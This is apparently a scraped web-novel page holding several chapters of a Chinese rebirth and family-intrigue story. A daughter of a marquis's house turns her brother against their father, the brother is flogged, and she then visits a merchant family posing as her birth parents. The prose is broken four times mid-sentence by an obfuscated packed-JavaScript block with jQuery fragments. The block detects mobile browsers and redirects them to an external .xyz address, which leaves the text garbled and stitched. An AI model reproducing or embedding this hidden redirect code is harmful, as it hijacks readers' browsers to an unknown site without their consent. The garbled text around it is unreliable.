“星儿。”晏明远的声音带着一丝沙哑。
他形销骨立,面色灰败,眉宇间刻着与年龄极不相称的疲惫与沧桑,乍一看去,竟像是凭空老了十多岁。
“什么事?”晏逐星内心毫无波动。
在她重生回来的那一刻,她和晏家所有人就恩断义绝了。
不管晏家人落得什么下场,有多可怜,她都不会同情他们。
同情他们,就是对不起过去受苦的自己。
“你就这么迫不及待地想要离开侯府吗?”晏明远对父亲的决定十分不解。
母亲尸骨尚未入土,棺椁犹在堂前,父亲竟就要让星儿去她的亲生父母家过年。
这无异于当众扇了母亲一记耳光,将她最后一点体面也碾得粉碎。
“我与大哥有事要说,你们先退下。”晏逐星扫了一眼身旁的管家和护卫。
他们当即听命退到了十步开外。
确认他们都听不到后,晏逐星冷笑了一声:“你觉得我留下来,温如霜会高兴吗?”
“你竟然直呼母亲名讳?”晏明远不可置信地看着她。
他的声音因极度的震惊和愤怒而带了一丝颤抖。
在他心中,母亲纵有千般不是,也终究是他的亲生母亲。
“那是你娘,也是晏明修和晏明月的娘,但她从来都不是我娘。”晏逐星的语气十分冷漠。
“她**,我没有拍手称快你都该夸我一句善良。还想让我给她守孝,晏明远,你在做什么**梦。”
当初对晏明远不过是利用罢了,如今继续跟他演兄妹情深的戏码,她会恶心。
晏明远如遭雷击。
他像是第一次认清了眼前的少女。
她的眼神里都是冰冷的憎恶,没有半分委屈与留恋。
那个一直跟在他身后喊着“大哥”的小姑娘,或许早就不在了。
“你、你……”晏明远被气得脸上浮起了一丝红晕,他一时间竟不知道该怎么反驳。
“我什么我。我要是你,这个时候就该去定远侯身边好好尽孝。你真以为你这侯府世子之位高枕无忧吗。”晏逐星嗤笑一声,面露鄙夷。
“阮姨娘肚里怀的可是儿子。”
“那又如何,不过是个庶子罢了。”晏明远下意识地反驳。
“记到嫡母名下不就是行了。”晏逐星挑眉看向他。
“我不同意!舅舅也不会同意!”晏明远急了。
“你们同不同意有什么用,谁说侯府夫人只能是温如霜呢。”晏逐星唇边露出一抹意味深长的笑。
她上前凑到晏明远身边,压低声音道:“你以为温如霜为什么这个时候**,自然是因为你的好父亲已经找好新的当家主母了呀。”
晏明远登时变了脸色,脱口而出:“你胡说。”
“我有没有胡说,你很快就会知道了。”晏逐星淡定的样子让晏明远不自觉地相信了她的话。
但他还是嘴硬。
“你就不怕我把这事告诉父亲吗?”
“你说呗。你有什么证据吗?”晏逐星无所谓地耸了耸肩。
“晏明修可是他亲自送去昭瑞亲王府的。如果不是他把人送过去,晏明修又怎会被谢锦程羞辱**?”
晏逐星光明正大地挑拨他们父子俩的关系。
“侯府已经和温家有了嫌隙,你若不懂事,他倒不如专心教养他的小儿子。反正他还不到四十,以后的日子还长着呢。”
“你最好孝顺一点,否则,你这侯府世子之位,可就不保了。”
晏逐星说完这些扎心的话,不再看他一眼,径直转身上了马车,命车夫即刻离京。
晏明远像是被钉在了原地。
脸上的血色瞬间褪得干干净净,比灵堂里悬挂的白幡还要惨淡。
晏逐星每一句话,都狠狠扎进他毫无防备的心脏。
“你以为温如霜为什么这个时候**……”
“你的好父亲已经找好新的当家主母了……”
“晏明修可是他亲自送去昭瑞亲王府的……”
“你这侯府
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732365|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
世子之位,可就不保了……”
这些冰冷的话语在他脑海中疯狂盘旋、碰撞,搅得他天旋地转。
他想厉声反驳,想斥责她恶毒挑拨,想冲上去拦住马车问个清楚。可双脚却像灌了铅,动弹不得。
他僵硬地站在原地,目送着晏逐星马车消失在街角后,他才缓缓转回身子。
抬头看着“定远侯府”的牌匾,一股寒意窜上心头。
是啊,母亲向来掐尖要强。
怎么会说自尽就自尽,还在遗书里写下那样故作大度的话。
他很想现在就冲进去找父亲质问,但他却没有勇气。
他恍惚地去了灵堂,跪在了母亲的棺椁前。
“母亲,她说的都是假的对不对。”
“父亲明明说了,侯府未来的主人是我,她是故意挑拨我和父亲关系的,对不对?”
他喃喃自语,心乱如麻。
他今日只用了早膳,又被晏逐星那番话刺激到了,跪到下午竟直接晕了过去。
“大少爷……”
恍惚间,他只听到了小厮的焦急的声音。
晏明远再次醒来后,已经是月亮升起之时。
他发现自己已经被抬回了寝屋。
他往外探了一眼,将心腹小厮叫来,忍不住询问:“我晕倒的时候,父亲可曾来过?”
小厮有些尴尬地开口:“不曾。”
“你们没告诉父亲我晕了?”晏明远有些着急。
小厮赶忙辩解:“说了。但阮姨娘说腹痛,侯爷就一直陪在她身边了。”
说完他偷偷打量着晏明远的脸色,发现他神色果然变了,心里顿时有些后悔。
糟了,他嘴怎么那么快。
少爷听完肯定伤心**。
晏明远怔怔地看着窗户发呆。
如今阮姨娘腹中的孩子尚未出世,父亲竟然就已经偏心到这种地步了么,连他晕倒了也不愿意来看一眼?
晏明远心里像是有一团火在烧,几乎要将他整个人炙烤殆尽。
他恍恍惚惚地起身,往阮寄薇的院子里走去。
第108章 闯下大祸了
“少爷,您这是要去哪儿啊?”小厮气喘吁吁地追上来。
晏明远却充耳不闻,如同行尸走肉一般,只提着一口气往前走。
他要去找父亲,当面问个清楚。
在父亲心里,到底是阮寄薇肚子里那块未成形的肉重要,还是他这个嫡长子,名正言顺的世子更重要?
小厮见他眼神涣散,整个人透着一股恐惧的决绝,吓得大气都不敢出,更不敢高声喊人,只得小心翼翼地跟在他身侧。
主仆二人刚走到阮寄薇院落附近,还没靠近院门,就清晰听到了一个丫鬟发出的谄媚声:
“哎哟,我的好姨娘,这天寒地冻的,您怎么大清早就在这院子里走来走去的呀?仔细冻着了!”
晏明远瞬间停住脚步,隐在院门前几株落尽枯叶的老树阴影里,直直地盯着正在散步的阮寄薇。
只见阮寄薇披着一件华贵的狐裘,一手搭在身边丫鬟的腕子上,另一只手则小心翼翼地抚着自己尚未隆起的小腹。
晏明远盯着那件狐裘,眼里几乎要喷出怒火。
那分明是母亲今年冬天请九章堂赶制的新衣。
后来她坠马车出了事,便不愿再穿华服,因而这些新衣裳送来时,还没穿过就全都塞到箱笼里。
可如今,父亲竟将衣裳给了这贱妾!
“你懂什么?”阮寄薇的声音带着刻意显摆的得意。
“大夫可是千叮咛万嘱咐,要我多多走动,到时候才好把这宝贝疙瘩平平安安地生下来。”
“这孩子呀,可是侯爷心尖尖上的肉,绝不能出半分岔子。侯爷亲口允诺我来,待他落地,便记在新主母名下,让他成为定远侯府名正言顺的嫡子。”
“日后呀,这偌大的侯府,可都是我儿的囊中之物!”
她的声音清晰可闻地传到了晏明远耳朵里,如同一道惊雷在他的脑海里轰然炸开。
晏明远最后一丝侥幸被彻底粉碎。
原来晏逐星说的每一个字,都是真的。
父亲竟然真的要把他的一切,拱手送给一个卑贱妾室所出的庶子?
他脑中那根名为理智的弦,在这一刻彻底崩断。
他猛地从树影里冲出,直直扑向阮寄薇。
“贱妇,你**吧!”
他目眦欲裂,伸出手狠狠推向阮寄薇的小腹。
“少爷不可!”
小厮魂飞魄散的惊呼声炸响。
“姨娘!”其他丫鬟也跟着惊叫起来。
好在搀扶着阮寄薇的贴身丫鬟早有防备。
在晏明远冲过来的瞬间,她猛地将阮寄薇往自己怀里一拽,抱着她向侧旁扑倒,用自己的身体垫在下方,硬生生替阮寄薇承受了所有冲击。
阮寄薇蜷缩起身体,双手死死捂住肚子,将提前藏好的血袋捏爆,鲜红的液体缓缓从腿间流出。
她艰难又绝望地惨叫出声:“孩子……快救救我的孩子……”
院里其他的丫鬟慌乱地跑了过来,四处大叫。
“请大夫,快请大夫!”
“姨娘你撑住啊!”
晏明远被他们的声音吵得回过神来。
他看着面无血色的阮寄薇,还有她裙摆底下微微渗出的血迹。
滔**火如同被一盆冰水兜头浇下,瞬间熄灭,只剩下刺骨的冰冷和一片空白的茫然。
他的脑海里只剩下一个念头:
完了,闯下大祸了。
他慌不择路地从阮寄薇的院子里跑走,一路上因为太过慌张,还摔了好几回。
他连滚带爬地回了自己的寝屋。
回到熟悉的环境,他才渐渐冷静下来。
有什么可怕的。
他可是侯府的嫡长子,横竖不过是推了一个姨娘,若是那个孽子没了最好,父亲只能有他一个儿子了。
到时候等舅舅入京,他要联合舅舅让父亲早日拟好请封世子的奏折。
难不成父亲还真的能为了一个姨娘对他发难?
想通了这一切,晏明远长长地舒了一口气。
还没等他喘完这口气,房门就被“砰”一声重重踹开。
定远侯脸色铁青地踹门而入,抬手就给了他一巴掌。
“逆子,你就这么容不得一个尚未出世的孩子?”
“我尚在,你就敢下此毒手。他日我若老了病了,你是不是连亲爹也要除之而后快?!”
晏明远捂着脸,刚想辩解:“父亲,我……”
“闭嘴。”定远侯根本不听,厉声朝外吼道:“来人!拖出去,请家法,三十藤条,给我狠狠地打!”
两个下人架起还在发懵的晏明远就往外拖。
晏明远听到“三十藤条”不可置信地看向了定远侯。
父亲不由分说打了他一耳光就算了,如今竟然还不给他半分体面,让他一个嫡长子在院中受家法?
“父亲,你不能这么对我!”晏明远剧烈挣扎了起来,“过几日舅舅就要到了,母亲刚刚去世,你就这样对我,你不怕舅舅他们寒心吗?”
他这个时候提起温家人,无异于火上浇油。
定远侯更愤怒了。
“笑话!你是我晏鸿升的儿子。残害手足,家法伺候,天经地义。你舅舅来了,也得认这个理!”
“你该庆幸大夫来得够快,保住了阮姨娘肚子里的孩子,不然现在就不是三十藤条这么简单了。”
说完不再留情,直接让下人开打。
院子里,沉重的藤条破空声和晏明远凄厉的惨叫立刻响了起来。
一下,又一下。
定远侯背对着门口,负手而立,听着晏明远凄惨的哀嚎,脸上只有冰冷的怒意,毫无动容。
三十下打完,哀嚎声变成了微弱的呻吟。
晏明远像条死狗一样趴在冰冷的石板上,后背衣衫被打得破破烂烂,印出了刺目的血痕。
看着他这副惨状,定远侯心头的怒火泄了大半。
到底是嫡亲的儿子。
方才他也是被阮寄薇那副惨白的样子惊着了。
毕竟他们正处如胶似漆之时,若阮寄薇真没了,他也舍不得。
更何况,侯府子嗣单薄,这孩子要是保不住,他膝下可就只剩晏明远一个了。
日后难免要受温家的胁迫,更是麻烦。
此刻看着血肉模糊的儿子,定远侯觉得自己先前似乎有些太过严苛了。
他叹了口气,弯下腰,伸手想去搀扶他:“明远啊,你莫怪
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732366|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
爹……”
话音未落,晏明远猛地一挥手,狠狠甩开了他。
他挥手的动作有些大,手指不留神就刮过了定远侯的脸颊,脸上火辣辣的触感瞬间点燃了定远侯刚压下去的怒火。
“孽畜。”定远侯眼底那点残存的怜惜瞬间消失殆尽。
他猛地俯身,原本伸出去搀扶晏明远的手如今狠狠掐住了他的后脖颈,将他的脑袋死死按在冰冷的石板上。
“敢对亲爹动手,你可真是好得很。”
“看来三十藤条是打轻了你,你还没吃够教训。”
晏明远察觉到他身上的杀意,此刻真的怕了。
他刚刚只是想发个脾气,让父亲走开。
没想到,竟然会打到父亲。
他艰难地开口求饶:“父亲,我知错了……”
但定远侯听到这话,只是冷笑一声:“如今你倒是知错了。晚了!”
他发泄似的狠狠将晏明远的脑袋往地上一撞,而后松手起身,环顾四周噤若寒蝉的下人。
“愣着干什么?!还不赶紧把这目无尊长、心肠歹毒的畜生给我拖到祠堂好好反省。没有我的吩咐,谁都不许去见他。”
下人们吓得一哆嗦,连忙上前,七手八脚地将几乎瘫软的晏明远从地上架起来。
晏明远被他们粗暴地拉扯,背后传来阵阵剧痛,脑袋上先前父亲狠狠撞的那一下,更是让他头晕目眩,眼前阵阵发黑,连呻吟的力气都没了。
他的心腹小厮扑通跪倒,连连磕头哭求:“侯爷开恩啊!大少爷昨日只用了早膳,在夫人灵前跪灵昏死过去,至今粒米未进。如今又挨了家法,再关进祠堂,少爷的身子真受不住,会没命的啊!”
定远侯脸色铁青,依旧没有改主意:“愣着干嘛,本侯的命令也不听了吗?赶紧把他关到祠堂去。”
半昏迷的晏明远听到这话,只觉得无比讽刺。
一个下人都比亲生父亲更在乎他的死活。
若是母亲在就好了,母亲定然不会让父亲这样对他。
晏明远想着,一行悔恨的泪从眼角滑落而下,而后彻底晕了过去。
下人们不敢再迟疑,拖着晏明远迅速去了祠堂,生怕慢一步就触怒了暴怒的侯爷。
看着晏明远被拖走的身影,定远侯眼神阴沉,站在原地片刻后,最终还是冷声吩咐:“去,叫大夫到祠堂给他治伤。”
下人领命,飞快退下。
*
通州,关家。
晏逐星已经在这个她名义上的“亲生父母”家歇下了。
送她抵达关家后,侯府管家就离开了。
关万海也跟着出门了,说是要送他一趟。
晏逐星总觉得定远侯不会白白让管家来这么一趟,于是让机灵的双鲤悄悄跟着他,看他去了哪里。
约莫过了半个时辰,双鲤气喘吁吁地跑了回来。
“林管家跟着关老爷去了知州府,还拿了东西,没多久两人出来后就分开了。看路径,林管家应该是回京了,关老爷现在也回来了。”
晏逐星亲自给她倒了一杯热茶,让她缓了缓。
听完她这番话,晏逐星心中那点模糊的猜测便倏然清晰起来。
第109章 不要太贪心
定远侯拿捏关家的筹码,无非就两点。
要么是关万海惹上了棘手的麻烦,非得仰仗侯府的权势才能摆平,不得不俯首听命。
要么便是关万海心比天高,妄想攀附侯府这棵大树,让生意更上一层楼,这才低声下气地求到了定远侯跟前。
说来说去,无外乎都是追名逐利。
这时,外边忽然传来了一个丫鬟的声音。
“四小姐,老太爷想见您。请您随奴婢来。”
晏逐星正想探探关家的情况,因而爽快地答应了下来。
她换了身素色的衣裳,就跟着丫鬟去见关老爷子。
来之前她就已经摸清了关家的底细。
三个女儿皆已出嫁,关老夫人三年前过世,如今这宅子里,只住了关老爷子、关万海夫妇,以及那位备受宠爱的幼子关曜。
不过片刻,便到了正厅。
空气里弥漫着劣质熏香的气味。
晏逐星不着痕迹地皱了皱眉,随后扫视了一眼屋内的环境。
屋内陈设十分简单,正中一张八仙桌,两侧是几张太师椅。
关老爷子坐在主位,关万海夫妇坐在他左侧下首,关曜则占据了右侧的位置。
他歪着头直勾勾地打量着晏逐星,像是在看什么从未见过的稀罕物。
而关老爷子则将她从头到脚扫视了一遍,那眼神不像在看失散多年的孙女,倒像是在审视一个物件。
关曜抢先开口:“你就是我四姐?你怎么和大姐二姐三姐他们长得都不像?”
关万海夫妇对视一眼,额头上瞬间冒出了冷汗。
糟了,事关重大,他们并未将真相告知家中其他人。
日后不会出什么岔子吧。
晏逐星勾唇,笑意不达眼底:“哦?哪里不像?”
不等关曜开口,关万海便抢先回答:“你别听这混小子胡说,你只是和霞儿他们不像,但你和你祖母简直就是一个模子里刻出来的。你就是咱们关家的孩子。”
而后他推了杨氏一把,杨氏当即会意,上前找借口牵着关曜离开。
“走,娘给你烤年糕吃,待会再给你四姐也送一份。”
不等关曜再出声,便捂了他的嘴,半拖半抱地将他带离了正厅。
屋内顿时只剩下了关老爷子、还有关万海和晏逐星。
关老爷子终于开口了。
“你就是星儿?”
晏逐星随意行了一礼:“定远侯府晏逐星见过老爷子。”
听到这话,关老爷子眼眸骤然一沉。
这丫头自报侯府门庭,又不称呼他为祖父,分明是看不起他们商贾之家。
他今日非得教训这个不知天高地厚的小丫头不可。
被侯府认作嫡女又如何,她骨子里流着的还不是他们关家血脉,既然是关家的孩子,自然就得听他关山的。
他冷冷地盯着晏逐星:“你能回来认祖归宗,是侯爷心善。这些年你在侯府锦衣玉食。这份恩情,你万不能忘。”
晏逐星没吭声,想听听他还能说出多少她不爱听的话。
关老爷子见她不回答,继续训诫:“女子之道,首重德容言功。如今你既在侯府,更需谨言慎行,恪守本分。”
“侯府门楣高贵,规矩森严,不比寻常小户。一举一动,皆要合乎妇道,贞静娴淑为上。万不可因自己的一点小性子,丢了侯府的颜面,更损了我关家的名声!你可明白?”
晏逐星挑眉看向关老爷子。
没想到,关老爷子一把年纪了,没当过官,但“官威”还挺重。
一旁的关万海看出了父亲有意敲打刚来的晏逐星,心下暗暗着急,赶忙起身打圆场:“父亲,星儿最懂事最孝顺了,侯爷也很疼爱她。您少说两句,省得孩子以为您不欢迎她回家……”
话未说完,便被关老爷子一记凌厉的眼刀横了过去,生生噎住。
关老爷子心下冷哼:刚认回来就不服管教,若再纵着,这丫头怕不是要蹬鼻子上脸,骑到他这个祖父头上作威作福了。
见晏逐星依旧没说话,关老爷子清了清嗓子,继续道:
“你要时刻记着,你能有今日,根子还在关家。而你的弟弟关曜……”
说到孙儿,他的语气带上了一丝不易察觉的偏宠。
“你弟弟是我关家未来的顶梁柱,是光耀门楣的希望。你既在侯府,得了好处,就该多为他筹谋打算。要懂得在侯爷面前为你弟弟多美言美言,替他铺路。这才是你做姐姐的本分。”
“扶持你弟弟,便是扶持整个关家,也是报答侯府恩情、尽孝道的最好法子。你可记住了?”
晏逐星被他厚颜无耻的做派给气笑了。
她回来的第一天,竟然就妄想打压她,让她用侯府的人脉银钱扶持关曜。
关老爷子莫不是得了失心疯?
“我有今日,根子在关家?”她一字一顿地反问。
“若非你娘生下你,若非你爹带你去青州,你又怎会被定远侯府收养。”关老爷子振振有词。
“你如今得了荣华富贵,难不成就要将血脉近亲都抛弃?”
“若我没被收养,死在了外头,你们可会给我偿命?”晏逐星再一次反问。
关老爷子脸色顿时被气得煞白。
马上过年了,说什么偿命不偿命的,这是在诅咒他?
还没等他训斥晏逐星忤逆长辈,就看到晏逐星把目光转向了一旁的关万海。
“关老板,做人不要太贪心了。我当真是你的亲女儿么?”
一句话,让关万海背后的汗**都立起来了。
看着她清冷冷的眸子,他感觉自己隐藏的那些亏心事无处遁形。
难不成她都知道了?
“星儿你说什么傻话呢,你当然是我的亲女儿啦。在侯爷面前,咱们不是滴血认亲成功了么。”关万海顶着压力继续撒谎。
晏逐星抬手鼓掌,笑了起来:“骗骗外人得了,关老板可别把自己也骗了。”
关老爷子听着他们俩的对话,有些云里雾里。
正欲呵斥,就听到晏逐星再一次开口。
“第一、我没打算‘认祖归宗’。”
“第二、我这一次来只想开开心心,安安稳稳地过年。说不定呆上个三五日,侯府就会派人接我回去了。”
“第三、这段时间里,若是有人惹得我不高兴,这个年,大家就都别想好过了。”
晏逐星决定先礼后兵。
若关万海不懂事,那她不介意给他演示一遍什么叫鸡飞蛋打,家门不幸。
关万海脸色瞬间变得煞白。
他确定了,他和杨氏非她生身父母一事,她一清二楚。
“逆女,你怎么和你父亲说话的?”关老爷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739243|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子厉声呵斥。
关万海扭头看向他:“父亲,星儿累了,先让她回屋吧。”
而后不顾关老爷子的阻拦,直接把晏逐星送出了正厅。
他看着晏逐星,露出了一抹讪讪的笑:“星儿,爹爹跟你保证,肯定不会让人影响你过年。”
“你不是我爹,也不要这么叫我。”晏逐星演戏都懒得演了。
“你和定远侯有什么交易我不管,我只想舒舒服服地过年。管好你的家里人,别来招惹我。”
听到她这话,关万海愈发确定了自己的猜测,她什么都知道!
他赶忙改口:“是,大小姐,我都记住了。”
晏逐星大步流星地回了自己住的厢房。
路上,双鲤忍不住就吐槽起了关老爷子。
“我的天呐,奴婢从未见过如此厚颜无耻之人。您才刚认回来,不关心您这个孙女就算了,竟然还想着让您给关家小少爷铺路。”
“我呸,他也配?”
晏逐星弯了弯眉眼,双鲤这话可说到她心坎上了。
关老爷子,确实脸大如盆。
“好了,少说两句,咱们明日去外边逛逛,我还是头一回来通州呢。到时候咱们看看什么东西适合送人,买些回京。”晏逐星转移了话题。
“好呀好呀。”双鲤忙不迭点头。
她最喜欢陪小姐逛街了!
*
送走了晏逐星,关万海踌躇片刻,还是硬着头皮折回正厅打算跟父亲摊牌。
没想到一只脚刚跨过门槛,一个粗瓷茶盏就砸到了他脚边。
飞溅的瓷片和滚烫的茶水吓得他猛地一缩。
关老爷子恨铁不成钢地训斥道:“她是侯府嫡女又如何?她更是你的种。老子活了这把岁数,没见过当爹的要怕自家的女儿的。”
“父亲,您不懂。”关万海抹掉额头上的汗珠,将事情一五一十地说了出来。
关老爷子万万没想到儿子胆子竟然这么大。
“你……”
他一时间竟然不知道该说什么才好。
“父亲,没办法呀,知州夫人逼得太紧了,我也是为了咱家布行啊。”关万海说到伤心处,抹起了眼泪。
“行了,我知道了。”关老爷子脸一阵青一阵红。
他先前竟然在那丫头面前装了大尾巴狼。
真是丢人现眼!
但很快他就缓过来了,沉声吩咐:“既然她现在明面上不能拆穿你是假的,那就趁着过年这些时日,多领着她去走动走动,让人知晓咱们家与定远侯府的关系。”
商人逐利,放着眼前这么好的机会不利用,日后可就用不上了。
关万海一怔,而后点了点头。
“高!爹您这招实在是高!姜还是老的辣,儿子怎么就没转过这个弯来呢。攀上侯府这棵大树,咱们家的生意日后就不用愁了。”
父子俩相视一笑。
他们二人的谋算晏逐星自是不知。
她正琢磨着明日除夕去买些什么东西,还有京城那边情况如何了。
阮寄薇和九栀,可曾按照她的吩咐办事。
她躺在床上,脑海里胡思乱想了起来。
要是能有一个千里传音的东西就好,她就算不在京城,也能瞧见他们在做什么。
想着想着,她便迷迷糊糊地睡着了。
而后,她做了一个奇怪的梦。
第110章 奇怪的梦境
梦里一片漆黑,晏逐星感觉自己什么都看不清,耳旁传来一阵阵义愤填膺的怒吼。
“砸了它!就是这妖石作祟!”
“这就是祸根,毁了它村子才能安生!”
“神婆说了,必须祭天!砸碎!”
……
晏逐星下意识地朝着声音的方向走去。
终于,眼前透出了一丝亮光。
那不是日光,而是无数高高举起的锄头、铁锤反射出的寒光。
她终于看清了眼前的场景。
一群村民们高举着锄头、铁锤,围绕着一块落在半山腰上的巨石。
巨石孤零零地立在那里。
这时,一个穿着粗布衣裳的少女,像一支离弦的箭,不顾一切地从人群的缝隙里冲了出去。
她猛地扑向那块冰冷的巨石,想要用瘦小的身躯挡住那块巨石。
她用嘶哑的声音大喊:“住手!它不是祸根!它是……”
后面的话被巨大的喧闹和尖利的咒骂彻底盖过,晏逐星耳朵里像是堵了一层棉花,根本听不清少女的声音。
紧接着,视角猛地拉近。
这一刻,她变成了扑在石头上的少女。
晏逐星感觉自己的脑袋像是被什么东西砸中了,温热的血立刻涌了出来。
一滴、两滴、三滴……
鲜红的血珠从她脑袋落下,渗进了那块巨石裂开的缝隙中。
就在血珠消失的瞬间。
“嗡”一声响。
一股无法形容的庞大力量,从石头内部猛然爆发。
梦里的画面开始剧烈摇晃、破碎。
晏逐星感觉自己的身体被那股看不见的力量狠狠推开,整个人直接飞到了半空中。
强烈的失重感让她感觉头晕目眩,只看到了先前聚在一起的村民们扔掉了手中的东西,尖叫着四下跑开。
……
“小姐,小姐?”
双鲤的声音在耳旁响起,晏逐星缓缓睁开了眼睛。
“小姐,该用早膳了。”双鲤讨喜的小脸蛋出现在了眼前。
晏逐星点了点头,脑子里乱糟糟的。
那个梦没头没尾的,真奇怪。
难不成这是她这辈子头一回离开侯府过夜,不习惯,所以才会梦到这些东西?
她没想太多,将梦境抛之脑后,起身更衣准备和关家人一块用早膳。
进到屋子里,不知道是不是被她气着了,今日关老爷子没出现。
关曜也不在,餐桌上只有关万海夫妇。
晏逐星刚坐下,就有个丫鬟进来点了一炷香,随后悄声退了出去。
她再一次闻到了昨日那股奇异的香味。
她皱了皱眉,询问道:“这是什么香?”
“这是定慈观的无忧散,很难买的。老爷子心疼你,特意将这香送来。你若喜欢,明日咱们全家一块陪你去买些。”关万海笑着回答。
杨氏欲言又止。
这无忧散的价格是普通香的上百倍,若不是老爷子非要买,她才不愿意花这个银子。
如今领了晏逐星回家,没收到侯府的赏银就算了,还得在她身上花钱,她不太乐意。
“明日大年初一,去定慈观上香的人数不胜数,咱们还是等过些日子再去吧。”杨氏打了个马虎眼。
等过几日,说不定晏逐星就走了,没必要花这个钱。
关万海瞪了妻子一眼。
他要的就是上香的人多,不多怎么拉着晏逐星出门炫耀,怎么显摆他们与侯府的关系。
昨日和父亲谋划完之后,他就琢磨着该怎么让晏逐星跟他一块出门,毕竟她不是个好相与的,未必会听他的话。
所以,他便拿了这无忧散来吸引她的注意。
关万海笑呵呵地开口:“人多才热闹,而且父亲房里的无忧散快用完了,也该买新的续上了。”
生怕晏逐星不愿意去,关万海再次补充道:
“这定慈观很灵验的,很多人去了都说好。还有这无忧散,闻了之后能让人忘记烦忧,凝神静气,引得无数人趋之若鹜。”
“而且这香可不是说你想买就能买的,还得你与道长有缘,才能买。”
“原本老太太去世后,定慈观的道长不愿意再卖给我们家,但见老爷子一片诚心,最后才卖给咱们。”
晏逐星被他这番话勾起了兴趣,还真想去这定慈观看一看了。
“嗯,明日看看去吧。”
见她答应,关万海笑得嘴角都要咧到后脑门了。
杨氏反对无效,只得讪讪笑着应下了。
用过了早膳,管家来请关万海。
“老爷,供品都准备好了,吉时已到,该祭拜先祖了。”
关万海点了点头:“大小姐可要与我们同去?”
晏逐星有些好奇普通人家是怎么过年的,便点了点头,跟着一块去了。
走到院中,她这才注意到庭院廊下已经挂上了红灯笼,窗户上也贴满了“福”、“碌”、“寿”、“喜”字样的剪纸。
回廊下,仆妇们穿梭往来,手中端着冒着热气的糕饼,上边还贴了红纸,整个院子里一派喜气洋洋的模样。
到了祭祖的祠堂,晏逐星一眼便瞧见了乌木供桌上的供品:油亮的猪头、昂首的公鸡还有一条大鲤鱼。
五色糕点叠如小山,一册崭新的账簿与一柄油亮的算盘放在了最前边。
这时,关家老爷子也牵着关曜来了。
关万海捧起三炷粗大的线香,让下人点燃后,交给了关老爷子。
关老爷子接过香,眉眼肃穆,声音洪亮:“不肖子孙关山,率阖家老小叩谢祖宗荫庇。望祖宗佑我关氏门庭,老幼康宁,人丁兴旺,财源广进,基业永固!”
他说完之后,关家人都举着香虔诚叩拜。
晏逐星没有跟他们一块祭拜,先前关万海点香时,她就退出了祠堂。
屋外的冷风一吹,晏逐星反倒觉得舒爽了几分。
屋内的檀香实在闷得很。
她将一旁垂手站立的关家叫了过来。
“祭祖之后,要做什么?”
得知接下来整个关家上下都是要专心准备年夜饭,她顿时觉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739244|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得无聊。
她扭头看向双鲤:“走,咱们瞧瞧外头的热闹去。昨日说好了,带你逛街的。”
“好呀好呀。”双鲤高兴地应下。
“四小姐,不可。”关家给晏逐星准备的丫鬟正想阻止她出门,就被管家拦住了。
这可是京城来的大小姐,老爷说了,她想做什么就做什么,别管太多,省得触怒了贵人。
老爷都不敢管她,他们这些做下人的就更得夹紧尾巴做人了。
晏逐星领着双鲤出门,去了通州最热闹的一条街。
刚下马车,喧闹的声音扑面而来,紧接着便是炒瓜子、炸麻花、熬饴糖混合在一起的甜香钻入了鼻腔之中。
双鲤咽了咽口水。
晏逐星笑着刮了刮她的鼻尖,给了她一串铜钱。
“去买些麻花来吧。”
“好咧。”双鲤身子灵活地穿过了人群,去到了卖麻花的小摊前。
晏逐星四下打量,瞧见长街两旁的铺子檐下都密密麻麻地悬挂着红灯笼,映得来来往往的人脸上都染了一抹桃红色。
各式各样的年货摊子占满了整条街道,卖门神、年画的摊子前更是被围得水泄不通。
一旁挑着担子的货郎正起劲地吆喝着:
“风车转一转,时来又运转!”
“泥哨吹一吹,富贵身后追!”
“戴朵红绒花,享尽富贵和荣华。”
这时,一对年轻夫妇领着个约莫五六岁的姑娘路过摊前。
小姑娘一眼就被那扎在竹架最高处,迎着风骨碌碌转得最欢的彩纸风车吸引住了。
她立刻抬手指向那个风车,声音又脆又亮:“爹!娘!我想要那个!”
那父亲穿着半新不旧的棉袍,看着家境并不富裕。
